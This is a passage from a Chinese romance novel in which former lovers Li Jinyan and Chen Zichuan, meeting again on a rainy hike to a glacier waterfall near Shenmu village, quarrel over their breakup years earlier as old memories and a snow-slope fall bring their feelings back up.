第一,李今晏根本没谈过对象,还给陈梓川“守寡”了五年。
第二,那她当年转学的意义在哪里呢?就像电视剧一样,会不会有隐情??
第三,这个小白脸不跟李今晏睡,太好了!咱们川儿又希望了呀!
最后关斯扬还是忍不住:“哈哈哈哈,年纪轻轻的就死了……”
陈梓川依然冷着脸:“你什么意思?”
整这么一出,什么意思?
“哎……”关斯扬无语:“你骗骗小君伊夏她们就算了,我还看不出来?”他拍拍胸口:“我哎,跟你穿一条裤衩长大的关斯扬哎,我能看不出来你对李今晏……”
“你瞎也不是一两天了。”陈梓川打断他。
他明明就讨厌这个剐了他半条命的女人讨厌到要死!
他踩脏她的身份证,在小卖部门口绊她,故意设计扯掉她最爱的冰棍,还抽烟恶心她,最后还骂她脏。
他明明就讨厌她,恨她!这960万平方公里的广袤华夏,生生世世不再见她才是最好!
哼,逃避。关斯扬抱起手:“那你刚才为什么把手机按灭了?你不是要换客栈?”
陈梓川不答,站起身往楼梯走。
关斯扬继续戳他:“你就不想知道她当年为什么转学吗?!”
客厅里已经没人了,老板娘只留下一盏暖黄酥油灯,房间里昏昏暗暗。
陈梓川顿住,站在楼梯角微微偏头:“关斯扬,你tm真不了解我。”
知道了又能怎样?
重要的是知道内情吗?重要的是她当年主动放手……
关斯扬根本不听,他看着那完美侧脸又喊:
“陈梓川!你刚才要是真的想走,我这小身板儿能摁得住你?!”
……
第二天,李今晏有意避开关斯扬他们,睡到中午12点才起来。但下了楼才发现,他们根本还没出发!!因为神木村还在飘雨,对于不打伞的户外人来说,这不是一个好天气。
而且陈梓川怎么还在??他不是换酒店了吗?
但其实令李今晏最害怕的是,那四人组坐在门口的火塘边,喻炀正在和关斯扬嗨聊。
那她这几年的事,不会都被那张大嘴巴捅出去了吧???
她转学到京市,去年毕业后没多久就开始背包旅行,一直单身五年,根本没换过对象的事!
果不其然,关斯扬笑着朝她打招呼:“李今晏,你终于起来了?”
这个笑简直和昨天带有讥讽意味的笑不一样,完全是拨云见日带着友好的欢迎。
喻炀笑得最开心:“今晏,你下来了!”
李今晏看他那副没心没肺的样子,就知道他还不晓得这是什么修罗场......
陈梓川坐在靠门口的位置长腿交叠,离所有人都有一段距离。他看她的眼神里,除了不变的冰凉恨意,还压抑了点儿什么。
他那么聪明敏锐,一定知道当初她撒谎了。他还会来质问她吗?还是,已经有了伊夏,过去的就让它过去?
如果他来问,她要怎么回答?
李今晏心里发慌,下楼后的她直接转弯换了方向:“我去上厕所。”
可是李今晏马上反应过来,她已经搬离了没有卫生间的四人间!自己的大床房就有厕所,这简直是赤裸裸的逃避!
厕所里的李今晏疯狂发消息给喻炀:你怎么和他们聊到一起去了?!
【今朝晏晏】:你赶紧上二楼去拿我的小包和登山杖,我们直接出发冰湖线,过了1点就迟了!
李今晏真实的计划其实是先去神瀑。
冰湖线和神瀑线是神木村徒步常选的,冰湖线从神木村往上走,神瀑往下。李今晏希望就能这样桥归桥路归路,从此大路朝天各走一边。
等了两秒。
【今朝晏晏】:??你在不在?
【今朝晏晏】:别聊了哥,有啥好聊的!
这拖油瓶还是没回,李今晏默默骂了句西八。
终于,手机震动起来。
【洋芋】:可是斯扬哥说现在还在下雨,可以再等一下。
?斯扬哥?他果然和关斯扬说了计划!
李今晏带着点着急和生气,准备直接把人推出去。
【今朝晏晏】:你这么听他的,要不和他们一起?
【洋芋】:好耶!我刚还在说我们一起组队,正准备跟你说呢!
李今晏:“……”
完全被误解了,怪她自己措辞不准。
【今朝晏晏】:不不不不!我不习惯和别人一起。
【今朝晏晏】:要么我自己出发,要么你抓紧时间拿装备。
李今晏下了最后通牒,等了一分钟,喻炀居然不回复了。她只得小心翼翼打开厕门,一路上强装镇定的进了客厅。
咦?人呢?
火塘边空荡荡,竟然一个人都没有了。
难道他们都去背包了?!
李今晏飞速冲上二楼,羽绒内胆来不及找了,她在冲锋衣里套上一件浅蓝薄毛衣,背上一个纯黑拉绳背包,飞下二楼,直到跨出客栈,李今晏都还在大喘气。
雨居然停了,客栈外的那条土路上基本没啥人,她松了口气,继续往山下走。
喻炀,姐姐下次再带你徒步吧。<
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p>冷冽又清新的空气钻入鼻腔,李今晏觉得肺都换了新。虽然今天依然乌云密布,但李今晏觉得浑身轻松,昨天走起来痛苦不堪的烂路今天都能开心地踩过去。
神木村分为上神木和下神木,字面意思,上神木在山上,地势较高,下神木在谷底,神瀑线的起点就是下神木。
李今晏住上神木,她脚程快,20分钟就走完了上村到下村将近2km的土石坡道。
下村的景色很多,李今晏走走停停,忙着拍远处被云层遮蔽的雪山,忙着跟木屋门口的小白狗拍照,最后还被村子里的驴给亲了脸……
眼看木屋群就要走到尽头,前面是一大片冷杉林,是真正的森林与户外。
啊~大自然呐!李今晏收起手机,准备前进。
“李今晏!”
忽然有人在背后喊她。
李今晏心一沉脚一顿,如此高昂又轻快,是关斯扬的声音。
尴尬回头,五颜六色的四人组就站在那头驴旁边,李今晏咬牙:“你们好呀,哈哈,你们……也走神瀑?”
不是说好的冰湖吗?!他们怎么来了下村?
“也?”正中间的关斯扬明显愣了一下,他笑道:“原来你是要走神瀑?”
旁边的陈梓川好似在笑。
李今晏呆住:“?”
边上的罗美君笑着咳了两声,温柔解释:“老板娘说,冰湖线上,村口的那段路因为昨晚的雨烂得厉害,让我们从下村绕一下,我们就索性换神瀑了。”
“……”
心中一万头草泥马奔过……
李今晏热情让道:“那你们去吧,哈哈哈哈。”
罗美君笑:“你跟我们一起吧,一个女生单独徒步十几公里,还是不安全。”
李今晏刚想拒绝,陈梓川旁边的伊夏居然也站出来:“一起吧。”
昨天她还什么都没打听到,今天徒步完她就要走了,可得抓住机会问李今晏。而且刚才在火塘边,喻炀的话她也听明白了,俩人已经是水到渠成好事将近,现在的李今晏完完全全就是友军。
陈梓川这时候倒是站在中间不说话了,他不是讨厌她嫌弃她吗!赶快拒绝呀!只要他发话,关斯扬和伊夏肯定听的。
等了两秒,那人还是抄着手看笑话。
“不了,不了。”李今晏疯狂摆手:“额……我那个……啊对!我要等喻炀一起!”
相亲对象还没来啊!我得等他呀!
刚才喻炀一直在跟李今晏发消息,李今晏被震烦了直接屏蔽,她赶忙打开微信,几十条消息瞬间霸屏。
关斯扬朝前走了两步:“我跟他发过消息了,咱们一起等吧,反正下村也有景点,可以拍拍照。”
“……”
5. 玛尼
三月下旬,本来的下村应该是壮丽的神女雪山作为背景,前景是古朴的藏式民居和如云似霞的桃花林。
但现在下村的青稞田全是裸露的褐土,地表温度应当是低于5℃,一点儿绿苗也没有。有名的桃花也没有成片开,矮山坡上的阳坡植株倒是粉白花瓣带点冰边,阴坡还全是花苞。
这有什么可拍的?李今晏搞不懂。几个人除了陈梓川,都开始到处‘搔首弄姿’起来。
李今晏偷瞄了一眼陈梓川,没想到,眼神居然就这么对上了。
就那一秒,陈梓川的眼神忽然从柔和变得凶狠,她怔了一瞬,移开眼。
就在这时。
“今——晏——!”
远处高地上有人在喊李今晏,声音大到除了他们,好几个游客都抬头去看。
白色的小人点在褐绿山坡上给他们疯狂挥手,好像还蹦跶了两下:“嘿——”
那是喻炀。
李今晏叹口气,早不出现晚不出现,偏偏现在出现……
十分钟后,喻炀终于赶到,他把登山杖杵在地上作支撑,整个人弯着腰疯狂喘气:“今晏!你怎么走这么快……啊……幸好赶上了!”
李今晏已经认命了:“你刚才怎么没跟他们一起下来?”
如果一起,就不用耽搁这么几分钟了。
喻炀额间冒汗:“我找你去了啊……不跟你一起我不出发的,没有你还有什么意思?”
幸好关斯扬给他发消息了,不然就真赶不上了。
李今晏不知道他这么喘怎么声音还这么洪亮?大到旁边的一圈人都在看他们。
伊夏笑得邪魅:“哟哟哟,你俩也太甜了吧,还‘没有你还有什么意思’~”
李今晏木着脸往前走:“走吧走吧,再不走真迟了。”
神瀑线虽说海拔抬升只3000出头到3600/3700,但这是来回12km的高原,路上要经过一些冰坡以及有残雪和溶水泥泞的土路、马道。
这么些人打打闹闹,李今晏初步估算了下,没有6个小时回不来。现在日落早降温快,必须马上出发。
“是是是,赶快走吧。”关斯扬接完话,又退后把喻炀提起来,把他和自己拉到一起。
可事与愿违,走到李今晏旁边的不是陈梓川,是伊夏。
关斯扬看着队伍最前方的一黄一红:“……”
什么鬼?
石板路走到尽头换了森林土路,视线也逐渐窄起来。
这里以高大遮天的冷杉、云杉、铁杉为主。林下一些低矮植被,如杜鹃灌木丛、蕨类、苔藓开始显现复苏迹象。
嗅着湿润清新的空气,看着巨大的树木、缠绕的藤蔓、厚苔藓构成的“苔藓森林”,听着融雪汇成的溪流在林中奔淌,李今晏心情大好,她反而变成了那个最爱玩的。
李今晏脱离队伍,一会逗逗树干上爬过的小松鼠,一会儿拍拍夹缝里嫩黄的报春花,然后再骑抱着林子里横倒的粗壮树干,让喻炀给她拍照。
还在木板路上的伊夏停下来:“你这不是最近很火的那种,丧系徒步打卡。”
“是吗?”李今晏还挂在树干上乐:“谁又抄袭我了?”
她可从来不跟风。
“我也来我也来!”伊夏被她滑稽有趣的样子吸引了,想拍同款打卡照。
李今晏故意拖拉就算了,伊夏凑什么热闹?关斯扬忍不住了:“那树干上多少苔藓和腐植?脏死了,快走吧!”
伊夏不听,兴趣大涨,她把登山杖插在土里,看了眼已经走远的陈梓川,只得抓了喻炀给她拍照。
李今晏先行回了主路,没发现关斯扬默默留在了这里。
登山杖挂在包上,陈梓川和罗美君已经蹲在那片玛尼堆阵旁边了。简单来说,玛尼堆就是叠石块,主要用来积累功德,祈福禳灾。
就像森林左前方忽然开了个大口,整片阳光照在两人身上,陈梓川低垂着眼,长睫轻扇,棱角分明的侧脸,还是这么好看。
李今晏走到罗美君身旁,她穿着樱粉色冲锋上衣和黑色冲锋裤,一头栗色长卷发低低盘起,还是那样温柔。
李今晏蹲下朝她笑:“嘿!好久不见呀,你这些年,过得好吗?”
她记得她家里情况不好,本就来自西北的偏远农村,大三时父亲得了食道癌母亲就跟人跑了,后来怎么样,她也不知道了……
这玛尼堆,或许是给父亲堆的?
罗美君拉过来一个大鹅卵石作底盘,笑着说:“这些年还不错,阿扬对我一直很好。”
那年疫情管控下,看病不容易,很多关系和钱财都是关斯扬费劲疏通的。
李今晏也抱来几块石头开始堆:“你们能在一起,我真没想到。总之,恭喜你们。”
当年还是文学系学姐的罗美君,她记得是有对象的,对象是物理系的系草高景同,和她一样温柔。两人俪影双双,连她见了都觉得般配。
那时候关斯扬老去图书馆骚扰他们,李今晏要是撞见了,总会去帮她,一来二去的也成了朋友。
可没想到,居然还真被关斯扬这小子截胡了,那她当年还真是多管闲事……
罗美君手下不停,玛尼堆堆到三四层时,她忽然说了句:
“死了。”
声音很轻,李今晏却觉得这句话有千斤重。
什么意思?
“死,死了?”李今晏小心翼翼地问。
“因为疫情。”
“谁?”
隔了两秒。
“都。”
李今晏就快要蹲不住了,她这些字连起来就像是!因为高景同疫情中死了,所以和关斯扬在一起了。
而且都的意思是,父亲和高景同……都?!
罗美君的玛尼堆快要到顶,她忽然从旁边捡了两块小石头,一手一个,开始刻字。
她会刻什么呢?父亲的名字,还是关斯扬,亦或者是!高景同???
李今晏微微抬起身,那三人不知怎么还没过来,陈梓川隔着他们两米远,应当是听不到,她又蹲下身来。
土豆大的石头上已经有了极重的划痕,李今晏心下狂跳,装作不经意的俯身去看。
罗美君的手时不时有遮挡,李今晏憋着紧张,终于瞥到一个字母!
G
G?靠!关斯扬和高景同都是G啊!
到底是GSY还是……李今晏吞了吞口水,没事没事,再看看!
可罗美君呼出一口气,竟是停下了手,她偏头笑:“这样应该差不多了。”
“啊?”李今晏回过神来:“不继续刻了嘛?”
罗美君拍拍手上的泥,站起身来摇摇头。
李今晏忍不住,站起身道:“美君姐,你这样对关斯扬不公平
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。”
罗美君还是笑得温柔:“哪里不公平?”
“你不能因为前任去世了才选择关斯扬,你这样对他不公平。”
而且,她现在看起来根本就没忘记高景同。
李今晏站得很直,面对着她眉头微皱。罗美君转身看向那片玛尼堆,目光很淡:“这世界上不公平的事多了去了,你呢?对陈梓川公平过吗?”
李今晏愣住。
罗美君看她呆呆的样子,想起昨晚关斯扬和她打趣过的‘笑话’,拍拍李今晏的肩:“下次不要再说前任死了这种话,要记得避谶。”
?
她说过陈梓川?
啊……好像是哈……
!!那罗美君怎么知道?
靠!喻炀!
李今晏咬唇,脸瞬间烧得发烫,视线里,罗美君旁边不远处的那人,站起了身。
!
李今晏眼色下移,机械转身,想溜。
“谁死了?”
那人好像没准备放过她,一句话就把她钉在原地。
李今晏又转过身来,嘿嘿哈哈的堆起笑脸:“前任啊,前任有很多个啊。”
罗美君不知道什么时候已经掉过头去找关斯扬了,整条主道上就她和陈梓川……
陈梓川就这么盯着她,慢慢朝她走近。
李今晏看他那副要吃了她的样子,只得皱起小脸解释:“真没说你……”
陈梓川在她面前站定,李今晏忍不住别开眼,去看他头顶的参天大树,去看那片玛尼堆,就是不敢看他。
“你就这么想我死?”陈梓川恶狠狠盯着她近在咫尺的那张脸:“还是说,你料定了我会死?”
死在五年前的那场暴雨中。
李今晏惊到了,看他:“怎么可能?”
她怎么会想他死?那不过是一时之间口无遮拦罢了。
陈梓川又靠近了一步,咬牙道:“太可惜了,我还活着。”
还有半条命。
距离很近,那身冷冽又熟悉的鼠尾草香又开始萦绕鼻尖,李今晏有些承受不住,她低下头,看着两人脚下的那块空隙缓缓出声:“对……对不起。”
当年的事,真的对不起。
陈梓川半天没说话,李今晏想退开。却猛地被人抓住肩膀,独特又迷人的木质香气彻底钻入,李今晏被迫和他视线交错。
她才发现,他一直在压抑着自己的怒气,胸口正不断起伏着,眼角,爬着些说不清道不明的血丝。
李今晏被抓得肩膀疼,她扭了一下身子:“疼~”
可没想到陈梓川抓得更紧,离她更近:“疼?你也会疼吗?”
温热气息不断喷洒,李今晏彻底受不住,她用力挣开陈梓川:“我说过对不起了!你要讨厌我也好,恨我也罢,都随你!”
“李今晏!”陈梓川要气疯了,他极力压抑着愤怒:“你还有良心吗!你真的不解释……”
“我们早就结束了!”李今晏铁着脸打断他:“再回五年前,我会比那时更狠!”
听到这句,陈梓川忽然就泄了气,他冷笑着退了一步:“李今晏,我是你的玩具吗?还是你的狗?”
你玩够了就丢掉的玩具?还是你召之即来,挥之即去的狗?
他声音颤抖,李今晏转过身去,不想再答,更不想他看见,自己已经止不住泛红的眼眶……
6. 雪层
看着李今晏顺着主道走远了,陈梓川慢慢又从左裤包里摸出那包中华。
烟盒已经泛皱,盒身凹陷,看起来有好几年的光阴了。
陈梓川深吸了口凉气,森林里的空气很清新,但他还是觉得呼吸不畅。
慢慢打开粗涩干燥的烟盒,里面没有烟,只缩着一根粉色细发圈,上面有一只抱着爱心的小熊。发圈已经陈旧发黄,好像还断过,被主人重新接上,努力打了死结。
再伸手从右包里摸出一包烟,那包玉溪倒是很新,表面的红格子刺得陈梓川眼酸。
陈梓川攥紧那根发圈,叹了口气。
李今晏,我他妈还在听你的话。
·
等关斯扬拖着几人终于追到陈梓川的时候,李今晏早没了人影。
关斯扬拉住陈梓川:“咋样啊?聊的。”
陈梓川面色如常,斜他一眼还没说话,伊夏高高兴兴地过来,把手机举到他面前:“陈梓川,你看我刚拍的,好不好看。”
陈梓川一只手挡开,看她的眼神里全是烦躁。
伊夏尴尬着退了两步,拉开距离,陈梓川拧着的眉才松开。
奇怪,李今晏不是说她已经很有希望了嘛?
刚才刚踏入步道的时候,她和李今晏取了经,问了半天也没说啥特别有用的,就那句‘能跟来徒步就说明陈梓川心动了’深得她心……
怎么现在还是一副冷冰冰的样子。
跟上来的喻炀一脸不满地吐槽:“你也太爱拍照了,要求也太多了吧。”
还是今晏好,对照片没啥要求,人在里边儿就行。
伊夏摆了各种姿势,冲锋衣上沾了不少泥土,说:“女孩子喜欢拍照怎么了,我这是在帮你提前锻炼作为男友的拍照技术。”
喻炀听到这,嘴角忍不住上扬:“这话听着倒是不错。”
可是一转头,哎?今晏呢?
喻炀问陈梓川,突然有些着急:“李今晏呢?就是那个黄色衣服的女孩,不会落单了吧?”
这深山老林的,走丢了可怎么办?
陈梓川根本不理他,登山杖都不用,自顾自的向前走。
喻炀拦住他:“她刚才没从你前面路过吗?你不是在这里堆玛尼堆……”
陈梓川停下脚步,低眼看比他矮一截的人,又想起他昨晚谈起李今晏和李妈妈的家属感,心里更烦:“还没看出来?她都不等你……”
陈梓川看他疑惑的表情,点明:“她根本就不喜欢你。”
关斯扬看情况不对,赶紧安抚喻炀:“你别着急,打个电话不就是了。”
喻炀奇怪的看了眼陈梓川,最后还是作罢。他刚按开手机,就收到了李今晏的消息。
【今朝晏晏】:我爬到休息亭了,这里还有厕所,你们快来。
山里信号越来越差,喻炀回的那个‘好’字一直在转圈圈,他最后只得抬起头问:“休息亭在哪?”
关斯扬满头问号:“休息亭?那快到半山腰,海拔大概3200了呢,李今晏爬这么远了?”
喻炀已经兴致勃勃地往前冲:“是呀,我家今晏就是这么厉害。”
……
终于赶上李今晏,她已经在山亭休息小二十分钟了,正蹲在地上逗一只小白狗。
山亭简陋,四根粗木柱依着山势立在山腰,木板踩起来嘎吱嘎吱,地上还漏了一些零食和面包碎屑。
喻炀最先跑上来,因为太急还差点滑了一跤,现在海拔更高,山林里散着几处积雪,有些泥地上也有了薄冰层。
喻炀边给徒步鞋套防滑冰爪边笑:“今晏!终于赶上你了,你走得好快哦。”
李今晏回头,朝他笑道:“是你们太慢。”
“哎哟我去。”关斯扬累得叉着腰,还好穿了速干衣,身上出了一身汗,不然闷得真不舒服。他想起了什么似的,偏头问后面的陈梓川:“你咋样,膝盖受的住不?”
陈梓川气息很稳:“没事。”
李今晏没听见,也不敢多看,又回过头来逗狗。
她刚才看小红书才知道,这只小白狗是神木村的网红小狗,专门带人走神瀑线,刚才她快到亭子的时候刚好碰到它。
他们从下村出发时,它还乖乖蹲在客栈门口迎客呢,不知道爬了哪条小道,居然和她同一时间上到这里。
小白狗是纯正的中华田园犬,体型不大,精瘦有力,两只耳朵立着,看起来聪明又可爱。
几人都气喘吁吁的走上山亭,大剌剌坐下后,伊夏一脸嫌弃的看着小白:“这么高的地方还能有狗?”
李今晏又挑了挑小白的下巴,摸摸它湿漉漉的小鼻子:“它可是神木村灵犬,神瀑的引路员呢。”
“咦~”伊夏不喜欢狗,总觉得脏兮兮的,小白仿佛就看出了她的害怕,专挑她欺负。
伊夏瘫在靠柱的位置,小白摇着尾巴过去,还什么都没做呢,居然就把她吓得快扑陈梓川身上了。
她用手抓紧陈梓川的衣袖,一脸紧张:“啊啊啊啊!别过来啊!”
这叫声,大到林子里的鸟都飞了一大半,把小白吓得都停住了爪。
关斯扬和李今晏哈哈大笑。
小白试探性的“汪”了一声,伊夏叫得更厉害:“啊!陈梓川!我害怕!”
她一脸哭丧,双脚离地,身体缩成一团,脸还是死命往陈梓川那边埋。甚至因为出了汗,脸上有些脱妆,就这么一齐蹭在他手臂上。
两人贴得很近,陈梓川没有任何反应,他任由伊夏抓着,神情松懒地看着地上的小白。
李今晏装没看见,她朝着小白“嘬嘬嘬”了几声,试图吸引它的注意力。
小白刚开始被吸引了,但很快又要去招惹伊夏。最后还是喻炀出马,用一块面包成功俘虏。
喻炀边喂小白,边看李今晏:“我厉害吧?”
李今晏笑着看他,对他竖起大拇指:“行,你最厉害!”
素面朝天的李今晏笑起来像林间跳跃的小鹿。嘴角大大咧开,露出一排整齐洁白的牙齿。眉眼舒展开来,像弯弯的新月,长睫毛忽闪着,眼神清亮得如雨后晴空。
喻炀的疲惫一扫而空,心里掺了蜜一样甜,耳根微微发红。
陈梓川忽然站起身,走过两人之间的空地,喻炀的视线一暗又一亮,他看见关斯扬也站起身,说:“休息够了吧,休息够了要不我们继续?”
罗美君和李今晏自然是跟着前两人,李今晏眼睛一转,对喻炀小声说:“你累不累,我们要不一会儿再走?”
得到关心,喻炀的笑容更盛,刚要答应她,就听见关斯扬在前面喊:“抓紧哟,再迟山豹子要出来喽!”
喻炀一顿,拉她起来,还是改了口:“今晏,我们也走吧。”
反正以后有的是机会。
李今晏:“……”
行吧……
刚走出山亭,一滴刺骨冰凉的水滴砸在李今晏额上,她抬头去望。
山林里开始嘀嘀嗒嗒起来,居然又下起小雨了……
已经下午两点,后半段跟着网红小白,一路上爬完森林段的泥土路,登完湿滑积雪的骡马道石阶,最后终于在下午三点半,上到冰川堆积区的神瀑冲刺段。
大雾四起,卡瓦格博峰依然白雪皑皑,但山腰积雪消融,裸露出深灰色岩壁,黑白交织的山体更显巍峨。
地上融化的雪水、冰面、苔藓无处不在。戴着帽子的李今晏累得瘫在雪层的悬崖边,就这么望着压抑灰蒙的天空。
喻炀举起手机和她躺到一起,他难得累到平静:“今晏,笑一个。”
相机里的她并不好看,一张巴掌小脸缩在帽子里,脸颊被冷风冻得起皮,耳边碎发全部淋湿,一缕缕贴在脸上。李今晏迎着雨,挤出一丝微笑,比了个耶。
喻炀也很狼狈,喉间哑着金属味,但看她嘴唇有些发紫,又问:“你是不是高反了?要不要吸氧?”
冲锋衣经不住长时间的淋雨,防水层逐渐崩溃,湿冷开始浸入她的内层毛衣,李今晏偏头看他:“你还带了氧气瓶?”
“当然啦,今早小卖部买的呢!”喻炀又来了劲,刚站起来准备从包里掏出氧气瓶,就看到关斯扬跑过来拖着李今晏站起身。
罗美君擦了擦脸上雨汗混合的液
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体:“这雪地多凉啊,别躺着。”
李今晏说了声谢谢,又看到不远处才爬上来的陈梓川。他弯着腰,微微踉跄了一下,但强劲有力的手臂瞬间抓紧伊夏的手腕,半提着她,把她拉上了这大雪层。
后面别的团的游客也有要他帮忙的,陈梓川竟然就这么好脾气的做起了桥梁。
喻炀帮李今晏拍拍肩侧的雪,又抬手帮她挡雨。刚准备拿出氧气瓶,被李今晏制止了:“吸了就有依赖性,我没什么大事。我们继续吧。”
喻炀望向那全部结冰冻住的冰瀑和峭崖,还是有些遗憾,小红书的图都是骗人的。
神瀑是从雪山巨大的山体上,悬垂下来的两条冰川融水瀑布,夏天瀑布下水雾弥漫,阳光照射时常能看到彩虹,场面非常震撼和神圣。朝圣者会在经幡林旁转瀑、祈祷、接圣水。
但是现在……唉……
不过李今晏好像很开心,这样的神瀑有种别样末日味,朦胧秘境,雨雾交织,这一切都在提醒着你,你正走向一场与自然的亲密碰撞。
她又元气满满道:“别人想看还看不到呢。”
旁边有自来熟的游客说要继续往上,爬到顶,李今晏表示双手双脚赞同后,其他人因着各种原因也答应了。
一队人体力消耗都很大,最后这段坡度逼近20°,大家小心翼翼排成一条线,像攀岩一样手脚并用。
越到上面,积雪厚实且没有脚印,是无人踏足过的领域,前面的几位是马来西亚的游客,带头开路的大哥身材健硕,小心试探,大胆踩实。后面的人都踩着他的脚印往上爬。
李今晏排在第八位,后面依次跟着喻炀,关斯扬,罗美君,伊夏,最后是陈梓川。
前面开路的速度渐渐慢下来,后面的人还在埋头苦跟,有个男生没踩稳,惊叫着往下滑了一米,差点铲到李今晏,拉他站起后,李今晏对着后面的人说:
“嘿!保持车距呀!”
罗美君正好抬头,撑着登山杖笑:“好的,我们都停一下吧。”
往后看的景色也很壮观,雾气消散了点,苍茫雪地上一排五颜六色毫不起眼的小人正零零散散的向上探索。
人类在大自然面前,从来都是渺小的吧。
站了一会的李今晏又无聊起来,开始拿登山杖在旁边的雪地上写字。
L……J……
陈梓川看到队伍中斜出来的李今晏,微微一愣。
她还是喜欢在雪层上写字……
他记得那是2018年的圣诞节,那会儿他们马上要在一起了,嗨完回到宿舍时已经快熄灯,门口有两对情侣啃在一起死命纠缠。
一排排自行车电动车上都覆了层雪,李今晏小脸冻得通红,眼里却还闪着光,她飞奔过去,在某个电动车上划拉着什么。
没几分钟,她抬起头来向他招手:“快来快来。”
陈梓川走过去,后座的雪层上歪歪扭扭写了两排小字:
、李今晏
2018.12.25
“这可是沪市三年不遇的初雪呢!快写,那个顿号前面,我给你留了位置。”李今晏指向那片空白:“你一定要写!”
陈梓川觉得幼稚,不想写,但她摇着他撒娇:“在韩剧里,初雪是很重要的日子,你写嘛写嘛~就看在圣诞节的份上,写一个嘛~拜托拜托~”
陈梓川受不住,最后只得木着脸伸出手来,但他一笔一画,认认真真。
等他写完,李今晏笑盈盈地说:“陈梓川!还是觉得你名字真真真真好听!我想叫一万遍。”她眼睛亮亮的:“陈梓川,陈梓川,陈梓川……”
少女的嗓音清脆悦耳,带着一丝拖长的尾调。陈梓川脸发热,有些不自在。
李今晏看他面无表情,也不再多说什么,笑着跟他道别后,哼着小曲上了楼。
但是,如果宿舍楼道是透明的,李今晏就还能发现,陈梓川在她走后又悄悄退回来,把那个顿号添了两笔。
不到明早,江南的新雪就会消融,所以只有那晚的夜空知道。
‘陈梓川、李今晏’,变成了‘陈梓川‘爱心’李今晏’。
7. 坠林
出神的陈梓川是被一阵惊呼吵回神的。
他定睛一看,一黄一蓝两个人正从雪坡上滑摔下来!
那是李今晏和前面那个男生!
其实速度不快,但伊夏胆小,看到有人摔倒就吓得大叫。喻炀靠得太近,没抓住李今晏,关斯扬和罗美君站得本就不稳,只来得及抓住那个男生,眼看着,就陈梓川能阻止李今晏的下滑!
李今晏背靠着雪坡一路往下,冷风冰雨刮在脸上,下面是几十米的坡道,心里害怕极了。
那个男生没穿冰爪,其实踩空滑倒不知道多少跤,她不该抱着侥幸心理的。刚才他又踩到散雪,直接拖着她的腿带倒,等她反应过来的时候,她已经滑过罗美君了。
伊夏还在“哎哎哎”的吱哇乱叫。
李今晏努力抻着腿想增加雪地摩擦力,但又怕把脚给杵伤了,或者一不小心直接滚下去……
她手上戴着手套,费力抠着地,陈梓川变成最后一根救命稻草!
拜托拜托!看在前任的面子上,拉我一下不过分吧!
李今晏就这么紧紧的,满怀期望的努力望向他!
陈梓川发现她摔倒的那一瞬,心下一惊,想上前去抓她,但又怕拉伤她的手臂,只得等她滑过的瞬间揪住后衣领。
但天意作祟,陈梓川刚弯腰准备伸手,膝盖忽然一阵剧痛传来!
疼痛直刺天灵盖,这步子终究没迈出去……
一步慢,步步慢……
在李今晏看来,她的脖子从前转到右,陈梓川就这么冷眼旁观!
他真的!见死不救!
可眼下就是几十米的雪道!
喻炀被堵在中间,只得焦急大喊:“拦一下啊!后面的人!”
后面不远处跟着的一些游客都伸出了手。
李今晏极其窝火,顾不得那么多了,她放下腿不断摩擦雪地,速度渐缓。
她最终靠自己停下了。
看她不再下滑,众人都松了口气,喻炀身体快扭成麻花了,大声喊:“没事吧!今晏?!”
罗美君和关斯扬也转过了身,问:“有没有受伤?”
李今晏站起身,理理衣服捡起登山杖,歪头笑着给他们比了个ok的手势:“我没事儿!小滑了一段!速度不快。”
喻炀瞪了眼仓惶爬起的男生,再回头看李今晏:“行!那就好!一会儿我给你检查检查。”
众人看她好好的样子也放心下来,回过头去了。
陈梓川不知道什么时候,越过后面几个游客往下走了一段,看样子正朝她走来。
李今晏不想理他,黑着脸装没看见。
就要擦肩而过的时候,陈梓川猛地拉住她:“我……”
李今晏看了眼前方已经缓缓移动的队伍,用力别开他:“陈梓川,你就这么恨我,恨到想我死吗?!”
她情绪爆发很快,声音压抑又颤抖:“这么高的坡要是速度更快我就直接摔死了你知道吗?我当初真是瞎眼了看上你!”
李今晏心寒,陈梓川这样简直是谋杀!谋杀!他怎么会变得如此冷血如此心狠?
当初真真是瞎了眼!
可接下来,陈梓川的回答让她更气愤。
“是!辜负真心的人就是要吞一千根针!救你?然后再让你去祸害别人吗?”陈梓川冷哼一声,轻飘飘地说:“怎么,这次又想了什么法子去恶心那个喻炀?”
辜负真心?祸害别人?
原来他是这么想她的……小腹一阵坠痛,李今晏闭了闭眼,将疼痛憋回去:“陈梓川,你真的!真的很过分!我们只是分手而已……”
你至于要我的命吗?
“只是……分手?”听到这句,陈梓川仿佛不可置信,他眉头紧锁,牙关咬紧:“呵……只是分手?李今晏,你看着我的眼睛再说一遍,我们只是分手?”
一年多的热恋,灵魂的对撞,到最后胡乱斩断的感情,被抛弃的他……这些只是‘分手’两个字就能概括的吗?
陈梓川现在站在更高的地方,两人身高差更大,李今晏无惧对视,高高抬起下巴:
“对啊,不就谈了个恋爱吗,你真他妈分不起,你现在的行为在我看来就是睚眦必报!”
什么叫……‘谈了个恋爱’?
她冰凉的字句让陈梓川忽觉心脏钝痛,苦痛蔓延四肢百骸。
陈梓川沉声问:“你到底把我们的感情当成什么?”
到底把我当成什么?
为什么搅乱一池春水看人无限沉沦后又一脚踹开?
“你现在这样发疯报复前任,又把伊夏当成什么呢?”李今晏偏过头:“不管你当成什么,我们已经是过去式了,你现在有了伊夏,我有了喻炀。”
李今晏想着这两日的委屈,压着气继续:“哦对了,我觉得喻炀比你好一千倍,一万倍!人长得阳光,对我又好。”
李今晏转过头来,直视他道:“不管是工作还是情绪,都很稳定。”
话说完就随风消散了,空气中就这么静下来,雨声匿,风声止,没有队友的呼唤,没有游客的催促。
天地间只他们两人,天地间再无他们。
半晌,陈梓川终于回应,他声音很轻:
“李今晏……”
“我们这辈子都不要再见了……”
陈梓川说完,转身走了。
李今晏看着他颀长挺拔的背影,不知道是生理期还是一直在飘雨的原因,她浑身发冷如坠冰窟,有些站不住。
李今晏拧着的眉缓缓松开,一阵心酸又忽然涌上。
老天爷……
当年我是不是真的做错了?
……
越往神瀑顶越陡峭,喻炀看着好两个人都摔倒滑下去,罗美君和伊夏体力也告急,提议直接下撤。
六人都没有异议,其他游客有几个胆大的还要继续登顶,趴在雪坡上给他们让道。
坡太陡,他们只得好几段雪道都采用‘屁降’的方式。
原路返回的时候就没有小白带路了,雨势渐大,山路陡峭,再加上几人都浑身酸痛,一路上行进得很沉默。
下午近五点,六人终于下撤到半山腰的休息亭,借着轮流上厕所的间隙坐下休息了会儿。
伊夏是最后一个,她把冰爪脱下塞进包里,包扔在柱边,往旁边小道走了十分钟。
